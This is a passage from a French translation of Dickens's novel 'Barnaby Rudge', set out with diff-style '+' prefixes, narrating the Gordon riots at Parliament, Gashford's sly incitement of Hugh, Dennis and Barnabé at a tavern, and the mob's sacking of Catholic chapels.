+qui n'avaient pas eu la précaution de se rendre de bonne heure à
+leur poste étaient obligés de faire le coup de poing pour pénétrer
+dans ces masses et se faire faire un passage.
+
+On arrêtait, on brisait leurs voitures, on en arrachait les roues,
+on réduisait les glaces en atomes de poussière, on enfonçait les
+panneaux; les cochers, les laquais, les maîtres, étaient enlevés
+de leurs sièges et roulés dans la boue; lords, évêques, députés,
+sans distinction de personnes ou de partis, recevaient des coups
+de pied, des bourrades, des bousculades, passaient de main en main
+par tous les traitements les plus injurieux; et, quand ils
+finissaient par arriver à l'assemblée, c'était avec leurs habits
+en loques, leurs perruques arrachées, qu'ils s'y présentaient sans
+voix et sans haleine, tout couverts de la poudre qu'on avait fait
+tomber de leurs cheveux sur toute leur personne, à force de les
+battre et de les secouer. Il y eut un lord qui resta si longtemps
+dans les mains de la populace, que les pairs en corps résolurent
+de faire une sortie pour le reprendre, et se disposaient
+réellement à exécuter leur dessein, lorsque heureusement il
+apparut au milieu d'eux tout couvert de boue et tout meurtri de
+coups, à peine reconnaissable aux yeux de ses meilleurs amis. Le
+bruit et le vacarme ne faisaient que croître de moment en moment.
+L'air était plein de jurons, de huées, de hurlements; l'émeute
+furieuse mugissait sans cesse, comme un monstre enragé qu'elle
+était, et chaque insulte nouvelle dont elle se rendait coupable
+enflait encore sa furie.
+
+À l'intérieur, l'aspect des choses était peut-être encore plus
+menaçant. Lord Georges, précédé d'un homme qui faisait porter sur
+un crochet une immense pétition à travers le couloir jusqu'à la
+porte de la chambre, où deux huissiers vinrent la recevoir et la
+déplier sur la table disposée pour la soutenir, était venu de
+bonne heure occuper sa place, avant même que le président fit la
+prière. Ses partisans avaient profité de ce moment pour remplir en
+même temps, comme nous avons vu, le couloir et les avenues. Les
+membres n'étaient donc plus seulement arrêtés en passant dans les
+rues, mais on sautait sur eux jusque dans les murs mêmes du
+parlement, pendant que le tumulte, au dedans et au dehors,
+couvrait la voix de ceux qui voulaient prendre la parole. Ils ne
+pouvaient pas seulement délibérer sur le parti que leur
+conseillait la prudence dans une pareille extrémité, ni s'animer
+les uns les autres à une résistance noble et ferme. Chaque fois
+qu'il arrivait un membre, les habits en désordre et les cheveux
+épars, cherchant à percer, à son corps défendant, la foule du
+couloir, on était sûr d'entendre pousser un cri de triomphe, et,
+au moment où la porte de la chambre entr'ouverte avec précaution
+pour le faire entrer, laissait jeter à la foule un regard rapide
+sur l'intérieur, ils en devenaient plus sauvages et plus
+farouches, comme des bêtes fauves qui ont vu leur proie, et ils
+faisaient contre les battants du portail une poussée à rompre les
+serrures et les verrous dans leurs gâches et à ébranler jusqu'aux
+solives du plafond.
+
+La galerie des étrangers, placée immédiatement au-dessus de la
+porte de la chambre, avait été fermée par ordre à la première
+nouvelle des troubles, et par conséquent elle était vide.
+Seulement lord Georges allait s'y asseoir de temps en temps pour
+être plus à portée d'aller au haut de l'escalier qui y
+aboutissait, pour répéter au peuple ce qui se faisait à
+l'intérieur. C'est sur cet escalier qu'étaient postés Barnabé,
+Hugh et Dennis. Il y avait deux montées de marches, courtes,
+hautes, étroites, parallèles l'une à l'autre, et conduisant aux
+deux petites portes communiquant avec un passage bas qui ouvrait
+sur la galerie. Entre elles deux était une espèce de puits ou de
+jour sans vitres pour faire circuler l'air et la lumière dans le
+couloir, qui pouvait bien avoir de dix-huit à vingt pieds de
+profondeur.
+
+Sur un de ces petits escaliers, non pas celui où se montrait en
+haut, de temps en temps, lord Georges, mais l'autre, se tenait
+Gashford, le coude appuyé sur la rampe, la tête posée sur sa main,
+avec l'expression d'astuce qui lui était familière. Chaque fois
+qu'il changeait le moins du monde cette attitude, ne fût-ce que
+pour remuer doucement le bras, vous étiez sûr d'entendre un
+redoublement de cris furieux, non seulement là, mais dans le
+couloir au-dessous, où il faut croire qu'il y avait un homme en
+vedette à examiner constamment ses moindres mouvements.
+
+«À l'ordre! cria Hugh d'une voix de stentor qui domina l'émeute et
+le tumulte, en voyant apparaître lord Georges sur l'escalier. Des
+nouvelles! milord apporte des nouvelles!»
+
+Le bruit n'en continua pas moins, malgré cela, jusqu'à ce que
+Gashford se fût retourné. Aussitôt le plus profond silence régna,
+même parmi le peuple qui encombrait les passages au dehors ou les
+autres escaliers, et qui n'avait pu rien entendre, mais qui n'en
+reçut pas moins le signal de se taire avec une merveilleuse
+rapidité.
+
+«Messieurs, dit lord Georges très pâle et très agité, soyons
+fermes! On parle ici d'ajourner, mais il ne nous faut pas
+d'ajournement. On parle de prendre notre pétition en considération
+pour mardi prochain, mais il faut qu'on la mette en délibération
+tout de suite. On montre des dispositions peu favorables au succès
+de notre cause, mais il faut réussir; nous le voulons!
+
+-- Il faut réussir; nous le voulons!» répéta la foule en écho.
+
+Alors, au milieu de leurs cris et de leurs applaudissements, il
+les salua, se retira, et, presque tout de suite, revint sur ses
+pas. Sur un second geste de Gashford, le plus profond silence se
+rétablit à l'instant.
+
+«J'ai bien peur, dit-il, que, pour cette fois-ci, nous n'ayons pas
+lieu, messieurs, d'espérer justice du parlement. Mais il nous la
+faut, nous nous retrouverons; nous devons placer notre confiance
+dans la Providence, et elle bénira nos efforts.»
+
+Comme ce discours était un peu plus modéré que l'autre, il ne fut
+pas reçu avec la même faveur. Le bruit et l'exaspération étaient à
+leur comble, lorsqu'il revint encore leur dire qu'on venait de
+donner l'alarme à plusieurs milles à la ronde; qu'aussitôt que le
+roi allait apprendre la force de leur rassemblement, il était hors
+de doute que Sa Majesté enverrait des ordres particuliers pour les
+satisfaire; enfin, il continuait cette harangue anodine, irrésolue
+et languissante, lorsqu'on vit tout à coup apparaître deux
+gentlemen à la porte, où il se terrait; ils passèrent devant lui
+et, descendant une ou deux marches, regardèrent le peuple avec
+assurance.
+
+La hardiesse de cette démarche les prit au dépourvu. Mais ils
+furent bien plus déconcertés encore lorsque l'un de ces gentlemen,
+se tournant vers lord Georges, lui dit d'une voix calme et
+recueillie, mais assez haut pour que tout le monde pût bien
+l'entendre:
+
+«Voulez-vous me faire le plaisir de dire à ces gens-là, milord,
+que c'est moi qui suis le général Conway, dont ils ont entendu
+parler; que je suis opposé à leur pétition et à toute leur
+conduite dans cette affaire, ainsi qu'à la vôtre? Veuillez bien
+leur dire aussi que je suis militaire, et que je saurai protéger
+la liberté de la chambre le sabre en main. Vous savez, milord, que
+nous sommes tous armés ici aujourd'hui; vous savez que le passage
+pour aborder la chambre est étroit, et vous n'ignorez pas qu'il y
+a pour le défendre des gens déterminés, qui feront tomber sans vie
+plus d'un des votres, si vous les laissez persévérer. Faites
+attention à ce que vous allez faire.
+
+-- Et moi, milord Georges, dit l'autre gentleman, s'adressant à
+lui de même, j'ai besoin de vous dire, moi, le colonel Gordon,
+votre proche parent, que s'il y a, dans cette foule qui nous
+assourdit de ses cris, un homme, un seul homme qui franchisse le
+seuil de la chambre des Communes, je donne ici ma parole d'honneur
+qu'au même instant je passerai mon sabre au travers, non pas de
+son corps, mais du vôtre.»
+
+Là-dessus, ils remontèrent les marches à reculons, le visage
+toujours tourné vers la foule, prirent le noble lord mal inspiré
+par ses ardeurs religieuses, chacun par un bras, l'entraînèrent
+par le corridor et fermèrent la porte, qu'on entendit à l'instant
+barricader en dedans.
+
+Tout cela fut si vite fait, et la mine que faisaient les deux
+gentlemen, qui n'étaient pas de jeunes fous, était si brave et si
+résolue, que, ma foi, les gens de l'émeute n'étaient pas fiers et
+se regardaient les uns les autres d'un air timide et chancelant.
+Il y en avait déjà qui se retournaient du côté des portes.
+Quelques autres encore, moins hardis, criaient qu'il n'y avait
+plus qu'à s'en aller, et demandaient qu'on leur livrât passage, la
+confusion et la panique s'accrurent rapidement. Gashford parlait
+tout bas avec Hugh.
+
+«Eh bien! cria ce dernier de toutes ses forces, pourquoi donc vous
+en aller là-bas, vous autres? Où pouvez-vous donc être mieux
+qu'ici? une bonne poussade contre cette porte et une autre en même
+temps à la porte d'en bas, et le tour est fait. Allons, hardi!
+Quant à la porte en dessous, laissez reculer ceux qui ont peur, et
+que ceux qui n'ont pas peur rivalisent à qui passera le premier.
+Tenez! vous allez voir.»
+
+Au même instant, il s'élança par-dessus la rampe dans le couloir
+au-dessous, et il n'était pas relevé sur ses jambes, que Barnabé
+était à ses côtés. Le second chapelain et quelques membres des
+Communes, qui étaient là à supplier le peuple de se retirer, se
+retirèrent précipitamment. Et aussitôt, poussant un grand cri, la
+foule se jeta des deux côtés pêle-mêle contre les portes, pour
+assiéger en règle la chambre.
+
+En ce moment, où un second effort allait les mettre en face de
+leurs ennemis sur la défensive à l'intérieur, et faire
+inévitablement couler le sang dans une lutte désespérée, on vit la
+foule par derrière lâcher pied, sur le bruit qui circula de bouche
+en bouche, qu'un messager était allé par eau chercher des troupes,
+qui, déjà se formaient en lignes dans les rues. La populace, qui
+n'était pas curieuse de soutenir une charge dans les étroits
+passages où elle était bloquée, se mit à s'en aller avec autant
+d'impétuosité qu'elle était venue. Barnabé et Hugh furent
+entraînés dans le courant, et là, à force de jouer des coudes, de
+lutter à coups de poings, de piétiner sur ceux qui tombaient en
+fuyant ou d'être piétinés à leur tour, ils finirent, eux et la
+masse dont ils étaient entourés, par s'écouler petit à petit dans
+la rue, où débouchait justement en toute hâte un gros détachement
+de gardes à pied et de gardes à cheval, balayant devant eux la
+place avec tant de rapidité, qu'il semblait que la populace
+fondait sur leurs pas.
+
+Au commandement de: «Halte!» la troupe forma ses rangs à travers
+la rue. Les émeutiers, haletants et épuisés à la suite de leurs
+derniers efforts pour se tirer de peine, en firent autant, mais
+d'une manière irrégulière et désordonnée. L'officier qui
+commandait la force armée vint à cheval en toute hâte dans
+l'espace qui les séparait, accompagné d'un magistrat et d'un
+huissier de la chambre des Communes, auxquels deux cavaliers
+s'étaient empressés de prêter leur cheval. On lut le _Riot
+Act_ mais pas un homme ne bougea.
+
+Au premier rang des insurgés se tenaient Barnabé et Hugh.
+Quoiqu'un avait jeté dans les mains de Barnabé, quand il sortit
+dans la rue, son précieux drapeau, qui, roulé maintenant tout
+autour de la hampe, avait l'air d'une canne de géant, à voir comme
+il la portait haute et ferme, en se tenant sur ses gardes. Si
+jamais homme, dans la sincérité de son âme, se crut engagé dans
+une juste cause, et se sentit résolu à rester fidèle à son chef
+jusqu'à la mort, c'était bien le pauvre Barnabé, inféodé à lord
+Georges Gordon.
+
+Après avoir en vain essayé de se faire entendre, le magistrat
+donna l'ordre de charger, et les horse-guards se mirent à
+chevaucher à travers la foule, pendant qu'il galopait encore de
+côté et d'autre, pour exhorter le peuple à se disperser; et,
+quoique les soldats reçussent des pierres assez grosses pour que
+quelques-uns d'entre eux fussent tout meurtris, leurs ordres ne
+leur permettaient que de faire prisonniers les insurgés les plus
+ardents, et d'écarter les autres avec le plat de leurs sabres. En
+voyant les chevaux venir sur elle, la foule céda sur plusieurs
+points, et les gardes, profitant de leur avantage, eurent bientôt
+nettoyé le terrain; cependant, deux ou trois de ceux qui
+marchaient à l'avant-garde, et qui étaient en ce moment presque
+isolés des autres par la foule où ils s'étaient engagés,
+poussèrent droit à Hugh et à Barnabé, que sans doute on leur avait
+désignés comme les deux hommes qui s'étaient élancés d'en haut
+dans le couloir. Ils avançaient donc petit à petit, donnant aux
+plus mutins, sur leur route, quelques estafilades légères, qui
+jetaient par-ci par-là quelque blessé dans les bras de ses
+camarades, au milieu des gémissements et de la confusion.
+
+À la vue de ces figures effrayées et sanglantes, qu'il aperçut un
+moment devant lui, avant qu'elles eussent disparu dans la foule,
+Barnabé devint pâle et se sentit faillir le coeur. Mais il n'en
+resta pas moins ferme à son poste, serrant dans son poing le
+drapeau, et tenant l'oeil fixé sur le soldat le plus voisin, avec
+quelques signes de tête qu'il faisait à Hugh en réponse aux
+conseils que ce mauvais génie lui soufflait à l'oreille.
+
+Le soldat donna de l'éperon, fit reculer son cheval sur les gens
+qui le pressaient de tous côtés, distribuant avec son sabre
+quelques coups de manchette à ceux qui portaient les mains sur la
+rêne pour arrêter son coursier, et faisant signe à ses camarades
+de venir à son aide, pendant que Barnabé, sans reculer d'une
+semelle, attendait sa venue. Plusieurs insurgés lui crièrent de se
+sauver, d'autres s'approchaient de lui pour le faire échapper,
+quand la hampe du drapeau s'abaissa sur leurs têtes, et, le moment
+d'après, la selle du cavalier était vide.
+
+Alors Hugh et lui firent demi-tour et s'enfuirent à travers la
+foule qui leur livra passage et le ferma bien vite, pour qu'on ne
+vit pas par où ils s'étaient enfuis; hors d'haleine, échauffés,
+couverts de poussière, ils arrivèrent au bord du fleuve sains et
+saufs, et montèrent dans un bateau qui les eut mis bientôt à
+l'abri de tout danger immédiat.
+
+En descendant le fleuve, ils entendaient distinctement les
+applaudissements du peuple, et même, supposant que peut-être ils
+avaient forcé par ce trait d'audace la troupe à battre en
+retraite, ils restèrent un moment suspendus sur leurs rames, ne
+sachant s'ils devaient revenir ou non. Mais la populace, en
+passant sur le pont de Westminster, ne tarda pas à leur assurer
+que le rassemblement était dispersé, et Hugh, ayant conjecturé des
+applaudissements de tout à l'heure que c'était une acclamation de
+la multitude pour remercier le magistrat d'avoir renvoyé la force
+armée, à la condition expresse que chacun s'en retournerait
+tranquillement chez soi, et que, par conséquent, lui et Barnabé ne
+pouvaient pas mieux faire que de s'en aller aussi, résolut de
+descendre avec Barnabé jusqu'à Blackfriars, au bout du pont, et de
+gagner de là l'hôtel de la Botte, où ils étaient sûrs de trouver,
+non seulement bon vin et bon logis, mais certainement aussi
+quelques camarades qui viendraient les rejoindre. Barnabé y
+consentit, et ils se mirent à ramer vers Blackfriars.
+
+Heureusement pour eux, ils arrivèrent au bon moment. Il était
+temps. En entrant dans Fleet-Street, ils trouvèrent toute la rue
+en révolution; et, quand ils en demandèrent la cause, on leur dit
+qu'il venait de passer un détachement de horse-guards au galop,
+escortant à Newgate quelques insurgés prisonniers, qu'on allait
+coffrer là. Bien contents d'avoir échappé par bonheur à cette
+cavalcade, ils ne perdirent pas de temps à faire plus de
+questions, et se rendirent à la Botte aussi vite qu'ils purent;
+Hugh pourtant modérant le pas, par prudence, pour ne pas se
+compromettre en attirant sur eux l'attention du public.
+
+
+
+
+CHAPITRE VIII.
+
+
+Ils avaient été des premiers à gagner la taverne; mais il n'y
+avait pas dix minutes qu'ils y étaient, qu'on vit arriver, à la
+suite les uns des autres, quelques groupes composés de gens qui
+avaient fait partie du rassemblement. Parmi eux étaient M. Dennis
+et Simon Tappertit, qui tous deux, mais surtout le premier,
+saluèrent Barnabé de la manière la plus cordiale, en le félicitant
+de la prouesse qu'il avait faite.
+
+«Et nom d'un chien, dit Dennis en plantant dans un coin son
+gourdin avec son chapeau dessus, et en s'attablant avec eux, ça me
+fait grand plaisir d'y penser. Quelle occasion! Mais non, on l'a
+laissée passer sans rien faire. Ma foi! je ne sais plus ce qu'on
+attend. De ce temps-ci le peuple n'a plus d'âme. Voyons, apportez-
+nous quelque chose à boire et à manger. Décidément je suis dégoûté
+de l'humanité.
+
+-- Sous quel rapport? demanda M. Tappertit, qui venait d'éteindre
+l'ardeur de sa physionomie dans cinq ou six pots de bière. Est-ce
+que vous ne regardez pas ça comme un joli commencement, maître
+Dennis?
+
+-- Qu'est-ce qui me dit que ce commencement là n'est pas aussi la
+fin? répliqua le bourreau. Quand ce militaire a été abattu, nous
+pouvions prendre Londres. Mais non, nous restons là à bayer aux
+corneilles... le juge de paix... ah! que j'aurais voulu lui mettre
+une balle de pistolet dans chaque oeil, pour mieux lui faire
+tourner la prunelle, quand il a dit aux gens: «Mes enfants, si
+vous voulez me donner votre parole de vous disperser, je vais
+congédier la troupe.» Alors, voilà mes gaillards qui poussent un
+hourra, qui jettent à leurs pieds les atouts qu'ils ont dans la
+main, et qui filent comme une meute docile de petits chiens qu'ils
+sont. Ah! dit le bourreau, du ton d'un profond dégoût, je rougis
+de honte d'être le semblable de pareilles créatures; j'aurais
+mieux aimé naître boeuf ou bélier, ma parole la plus sacrée.
+
+-- Vous n'auriez toujours pas risqué d'avoir un caractère plus
+désagréable qu'à présent, répliqua Simon Tappertit, en sortant
+avec une majesté superbe.
+
+-- Ne comptez pas là-dessus; j'aurais du moins des cornes dont je
+ne ménagerais pas les fameux héros qui nous honorent ici de leur
+compagnie; je ne ferais d'exception que pour ces deux-là, montrant
+Hugh et Barnabé, pour la résolution qu'ils ont montrée seuls
+aujourd'hui.»
+
+Après cette justice douloureuse rendue à leur courage, M. Dennis
+chercha quelque consolation dans son rosbif froid et dans un
+cruchon de bière, mais sans détendre les plis de sa triste et
+sombre figure, dont ces distractions solides et liquides
+augmentèrent plus qu'elles ne dissipèrent, par leur influence,
+l'expression sinistre.
+
+La compagnie présente, si durement diffamée par Dennis, n'aurait
+pas été en reste de récrimination, peut-être même en serait-on
+venu aux coups, s'ils n'avaient pas été tous si fatigués et si
+découragés. La plus grande partie d'entre eux étaient encore à
+jeun; ils avaient tous énormément souffert de la chaleur, et dans
+les cris, les efforts violents, l'excitation de la journée, un bon
+nombre avaient perdu la voix et presque la force de se tenir. Ils
+ne savaient plus que faire; ils craignaient les suites de ce
+qu'ils avaient fait; ils sentaient bien qu'après tout ils avaient
+échoué dans leur plan, et qu'ils n'avaient guère fait qu'empirer
+les affaires. Si bien que, de ceux qui étaient venus à _la Botte_,
+en moins d'une heure il y en eut beaucoup de partis; et les plus
+honnêtes, les plus sincères, se promirent bien de ne plus jamais
+recommencer l'expérience qu'ils avaient faite le matin. Quelques
+autres restèrent, mais seulement pour se rafraîchir, et s'en
+retourner après chez eux, tout démoralisés. D'autres enfin, qui
+n'avaient pas manqué jusque-là de fréquenter régulièrement ce lieu
+de rendez-vous, s'en dispensèrent tout à fait. La demi-douzaine de
+prisonniers tombés entre les mains de la troupe se multiplia dans
+les rapports qui circulèrent bientôt partout, jusqu'au chiffre de
+la cinquantaine, tout au moins; et leurs amis, faibles de corps,
+et de sens rassis, sentirent si bien s'en aller leur énergie, sous
+l'influence de ces nouvelles décourageantes, qu'à huit heures du
+soir il n'y restait plus que Dennis, Hugh et Barnabé. Encore
+étaient-ils à moitié endormis sur les bancs dans la salle, quand
+ils furent réveillés par l'entrée de Gashford.
+
+«Oh! vous voilà donc ici? dit le secrétaire. Je ne m'attendais
+guère à vous trouver là.
+
+-- Et où donc voulez-vous que nous soyons, maître Gashford?
+répondit Dennis en se mettant sur son séant.
+
+-- Oh! nulle part, nulle part, répliqua-t-il de l'air le plus
+doucereux. Les rues sont pleines de cocardes bleues, je pensais
+que vous étiez peut-être plutôt par là. Je suis bien aise de voir
+que non.
+
+-- En ce cas, vous avez donc des ordres à nous transmettre, notre
+maître? dit Hugh.
+
+-- Des ordres! oh! ciel! non. Je n'en ai pas le moindre, mon brave
+garçon. Quels ordres voulez-vous que j'aie à vous donner? vous
+n'êtes pas à mon service.
+
+-- Mais, maître Gashford, fit observer Dennis, nous appartenons à
+la Cause, n'est-ce pas?
+
+-- La Cause! répéta le secrétaire, en le regardant comme s'il ne
+savait pas ce que l'autre voulait lui dire. Il n'y a pas de Cause.
+La Cause est perdue.
+
+-- Perdue!
+
+-- Mais certainement. Est-ce que vous n'en avez pas entendu
+parler? La pétition a été rejetée à la majorité de cent quatre-
+vingt-douze contre six. C'est une affaire finie. Nous aurions
+aussi bien fait de ne pas nous donner tant de mal. Si ce n'était
+ça et la contrariété de milord, je n'y penserais seulement plus.
+Qu'est-ce que ça me fait, du reste?»
+
+En même temps, il avait pris un canif dans sa poche, mis son
+chapeau sur ses genoux, et s'occupait à découdre la cocarde bleue
+qu'il avait portée tout le jour, en fredonnant un cantique qui
+avait été en faveur dans la matinée, et en paraissant la caresser
+avec une espèce de regret.
+
+Ses deux acolytes se regardaient l'un l'autre, puis le regardaient
+à son tour, ne sachant trop comment poursuivre la conversation sur
+ce sujet. À la fin, Hugh, après bien des coups de coude et des
+coups d'oeil échangés avec M. Dennis, se hasarda à lui prendre la
+main pour lui demander pourquoi il ôtait ce ruban de son chapeau.
+
+«Parce que, dit le secrétaire en relevant les yeux avec un sourire
+qui pouvait bien passer pour une grimace, parce que, de porter ça
+pour rester tranquille, ou de porter ça pour dormir, ou de porter
+ça pour se sauver, c'est une mauvaise farce. Voilà tout, mon ami.
+
+-- Qu'est-ce que vous vouliez donc que nous fissions, notre
+maître? cria Hugh.
+
+-- Rien, répliqua Gashford en haussant les épaules, rien du tout.
+Quand milord s'est vu insulter et menacer parce qu'il venait
+auprès de vous, moi, je suis trop prudent pour avoir désiré que
+vous fissiez quelque chose. Quand les militaires sont venus vous
+écraser sous les pieds de leurs chevaux, j'aurais été bien fâché
+que vous fissiez quelque chose. Quand l'un d'eux a été renversé
+par une main hardie, et que j'ai vu la confusion et la crainte sur
+tous leurs visages, j'aurais été bien fâché que vous fissiez
+quelque chose, et vous avez pensé comme moi, car vous n'avez rien
+fait. C'est là le jeune homme qui a eu si peu de prudence et tant
+de hardiesse! Ah! j'en suis bien fâché pour lui.
+
+-- Fâché! notre maître, cria Hugh.
+
+-- Fâché! maître Gashford, répéta Dennis.
+
+-- Je suppose qu'on vienne à afficher demain une proclamation
+promettant une cinquantaine de livres sterling, ou quelque misère
+de ce genre, à celui qui l'arrêtera; je suppose même qu'on y
+comprenne aussi un autre homme qui s'est jeté dans le couloir du
+haut de l'escalier, dit Gashford, ce ne serait pas encore la peine
+de faire quelque chose.
+
+-- Nom d'un tonnerre! notre maître, cria Hugh en sautant sur son
+banc. Qu'est-ce que nous avons donc fait pour que vous nous
+parliez comme ça?
+
+-- Rien du tout, reprit l'autre avec le même rire. Si on vous
+jette en prison, si ce jeune homme (et ici il regarda fixement la
+figure sérieuse et attentive de Barnabé), est arraché de nos bras
+et de ceux de ses amis, de gens qu'il aime peut être, et que sa
+mort mettra aussi au tombeau; si on le plonge dans un cachot
+jusqu'à ce qu'on l'en retire pour le pendre à leurs yeux; c'est
+égal, il ne faut rien faire. Je suis sûr que vous trouverez, comme
+moi, que c'est le parti le plus prudent.
+
+-- Venons-nous-en, cria Hugh, marchant à grands pas vers la porte;
+Dennis, Barnabé, venons-nous-en.
+
+-- Où cela? quoi faire? dit Gashford, passant devant lui et
+s'appuyant contre la porte, pour l'empêcher de sortir.
+
+-- N'importe où! n'importe quoi! cria Hugh. Ôtez-vous de là, notre
+maître, ou nous allons sauter par la fenêtre; ça reviendra au
+même. Laissez-nous partir.
+
+-- Ha! ha! ha! quels... quels gaillards! dit Gashford qui tout à
+coup, changeant de ton, prit celui d'une familiarité plaisante et
+railleuse. Quelles natures inflammables! Ah çà! ça ne vous
+empêchera toujours pas de boire un coup avant de partir?
+
+-- Oh, non! certainement,» dit Dennis en grognant et en essuyant
+d'avance ses lèvres avides avec sa manche. Pas de rancune, frère;
+buvons un coup avec maître Gashford.»
+
+Hugh essuya la sueur de son front et laissa reparaître sur sa face
+un sourire, pendant que l'artificieux secrétaire riait à gorge
+déployée.
+
+«Allons! garçon, à boire, et dépêchons-nous, car il ne s'arrêtera
+pas ici davantage, pas même pour boire un coup. C'est un luron si
+déterminé! dit le doucereux secrétaire auquel M. Dennis répondait
+par des signes de tête et des jurons qu'il marmottait entre ses
+dents. Une fois piqué au jeu, voyez-vous, ce garçon-là ne se
+connaît plus.»
+
+Hugh balança son poing robuste en l'air, et en assena un bon coup
+à Barnabé dans le dos, en lui disant: «N'aie pas peur.» Après quoi
+ils se donnèrent une poignée de main, Barnabé étant toujours
+évidemment sous l'empire de la même pensée, qu'il n'y avait pas au
+monde un héros aussi vertueux, aussi désintéressé que lui; ce qui
+faisait rire Gashford encore plus fort.
+
+«J'ai entendu dire, ajouta-t-il tranquillement, en versant dans
+leurs verres, à mesure qu'ils les vidaient, autant de liqueur
+qu'ils en voulaient et répétant, à leur gré, cet exercice, j'ai
+entendu dire, mais je ne sais pas si c'est vrai ou si c'est faux,
+que les gens qui sont à flâner ce soir dans les rues, seraient
+assez disposés à aller démolir une ou deux chapelles catholiques,
+s'ils avaient seulement des chefs. On m'a même parlé de celle de
+Duke-Street, aux Champs de Lincoln's-Inn, et de celle de Warwick-
+Street, dans Golden-Square. Mais ce qu'on dit, vous savez...Vous
+n'allez pas par là?
+
+-- Est-ce encore pour ne rien faire, mon maître? cria Hugh.
+Diable! il ne faut pas que Barnabé et moi nous allions passer par
+la geôle, et peut-être par la potence. Nous allons leur en ôter la
+fantaisie. Ah! on a besoin de chefs! Allons, les amis, à
+l'ouvrage!
+
+-- Quel garçon impétueux! cria le secrétaire. Ah! ah! en voilà un
+gaillard qui n'a pas peur! Quel feu, quelle véhémence! C'est un
+bomme qui...»
+
+Mais ce n'était pas la peine d'achever sa phrase: les autres
+s'étaient déjà précipités hors de la maison, et ne pouvaient déjà
+plus l'entendre. Il s'arrêta donc au milieu d'un éclat de rire,
+prêta l'oreille, ajusta ses gants, croisa ses bras derrière son
+dos, et, après avoir assez longtemps parcouru à grands pas la
+salle déserte, il dirigea sa marche du côté de la Cité, et prit
+par les rues.
+
+Elles étaient pleines de monde, car les événements du jour avaient
+fait grand bruit. Les gens qui n'étaient pas curieux de s'éloigner
+de chez eux étaient à leurs croisées ou sur le pas de leurs
+portes, et l'on n'avait partout qu'un même sujet de conversation.
+Les uns racontaient que l'émeute était tout à fait dissipée; les
+autres qu'elle venait de recommencer: il y en avait qui
+prétendaient que lord Georges Gordon avait été envoyé sous bonne
+garde à la Tour; d'autres, qu'il y avait eu un attentat contre la
+vie du roi, qu'on avait rappelé la troupe, et qu'il n'y avait pas
+une heure qu'on avait entendu distinctement, au bout de la ville,
+un feu de peloton. À mesure que la nuit devenait plus sombre, les
+nouvelles devenaient aussi plus effrayantes et plus mystérieuses;
+et souvent il suffisait d'un passant qui annonçait en courant que
+les agitateurs n'étaient pas loin, qu'ils allaient être bientôt
+arrivés, pour faire aussitôt fermer et barricader les portes,
+assurer les fenêtres basses, enfin pour jeter autant de
+consternation et d'épouvante que si la ville venait d'être envahie
+par une armée étrangère.
+
+Gashford se promenait partout à la sourdine, écoutant, pour les
+répandre plus loin à son tour, ou pour les confirmer de son
+témoignage, toutes les fausses rumeurs qui pouvaient servir à ses
+fins. Tout entier à ce soin, il venait de tourner, pour la
+vingtième fois, le coin de Holborn, quand une troupe de femmes et
+d'enfants qui se sauvaient, tout haletants et se retournant
+souvent pour regarder par derrière, au milieu d'un bruit confus de
+voix, attira son attention.
+
+Cet indice assuré, joint à l'éclat rougeâtre dont on voyait la
+réverbération sur les maisons d'en face, lui fit reconnaître
+l'approche de quelques amis; il s'abrita un moment dans une allée,
+dont il avait trouvé la porte ouverte en passant, et, montant avec
+quelques autres personnes à une fenêtre du second étage, il se mit
+à regarder en bas la foule.
+
+Ils avaient avec eux des torches qui éclairaient distinctement les
+visages des principaux acteurs de cette scène. Ils venaient de
+démolir quelques bâtiments, on le voyait assez, et il n'était pas
+moins évident que c'était un lieu consacré au culte catholique,
+comme le prouvaient les dépouilles qu'ils portaient en trophées,
+des soutanes, et des étoles avec de riches fragments des ornements
+de l'autel, couverts de suie, de crotte, de poussière et de
+plâtre. Leurs vêtements en lambeaux, leurs cheveux en désordre
+éparpillés autour de leurs têtes, leurs mains et leurs figures
+écorchées et saignantes des clous rouillés contre lesquels ils
+s'étaient meurtris, Barnabé, Hugh et Dennis, poursuivaient leur
+route en avant, furieux et hideux comme des échappés de Bedlam.
+Derrière eux se pressait la foule pour les suivre. Les uns
+chantaient, les autres poussaient des cris de victoire; d'autres
+se querellaient; d'autres menaçaient les spectateurs en passant;
+d'autres, avec de grands éclats de bois sur lesquels ils passaient
+leur rage, comme si c'eussent été des victimes vivantes, les
+brisaient en mille morceaux qu'ils jetaient en l'air; d'autres, en
+état d'ivresse, ne sentaient pas même les coups qu'ils avaient
+reçus par la chute des pierres, des briques ou de la charpente. Il
+y en avait un qu'on portait sur un volet, en guise de civière, au
+milieu de la multitude; il était couvert d'un drap sale, sous
+lequel on voyait seulement un bloc inanimé, une figure funèbre.
+Puis, c'étaient des visages grossiers qui passaient, éclairés ça
+et là par un bout de flambeau fumeux; une fantasmagorie de têtes
+de démons, d'yeux sauvages, de bâtons et de barres de fer dressés
+en l'air, qui tournaient et s'agitaient sans fin. Tableau horrible
+où l'on voyait à la fois tant et si peu, tant de fantômes qu'on ne
+pouvait plus oublier de sa vie, et tant d'objets confus qu'on
+n'avait que le temps d'entrevoir d'un coup d'oeil rapide! Parais,
+disparais!
+
+Pendant que la foule passait pour marcher à son oeuvre de ruine et
+de colère, on entendit un cri perçant, vers lequel se
+précipitèrent quelques personnes. Gashford était du nombre: il
+était descendu tout exprès. Seulement, il était en arrière du
+groupe de curieux, sans rien voir et sans rien entendre. L'un de
+ceux qui étaient mieux placés devant lui l'informa que c'était une
+femme veuve qui venait de reconnaître son fils parmi les
+émeutiers.
+
+«Est-ce là tout? dit le secrétaire, se retournant comme pour
+rentrer chez lui. Ma foi! cela commence à prendre tournure.»
+
+
+
+
+CHAPITRE IX.
+
+
+Malgré les espérances que Gashford avait pu concevoir de ces
+préliminaires violents, qui avaient si bien l'air de prendre
+tournure en effet, les choses n'allèrent pas plus loin pour le
+moment. La troupe fut mandée de nouveau, elle fit encore une demi-
+douzaine de prisonniers, et la foule se dispersa derechef, après
+une courte échauffourée, sans qu'il y eût eu de sang répandu. Au
+milieu de leurs transports et de leur ivresse, ils n'avaient
+pourtant pas encore rompu tout frein, ni bravé ouvertement le
+gouvernement et les lois. Ils gardaient encore quelque chose de
+leur respect habituel pour l'autorité que la société avait commise
+au soin de sa conservation; et, si des mesures opportunes eussent
+rétabli plus tôt la majesté du pouvoir, le secrétaire en aurait
+été pour ses peines; il ne lui restait plus qu'à digérer ses
+désappointements.
+
+À minuit, les rues étaient vides et tranquilles, et, sauf qu'il y
+avait dans deux quartiers de la ville un monceau de murs
+chancelants et un amas de décombres, à la place où le soleil
+s'était couché la veille sur un riche et magnifique édifice, tout
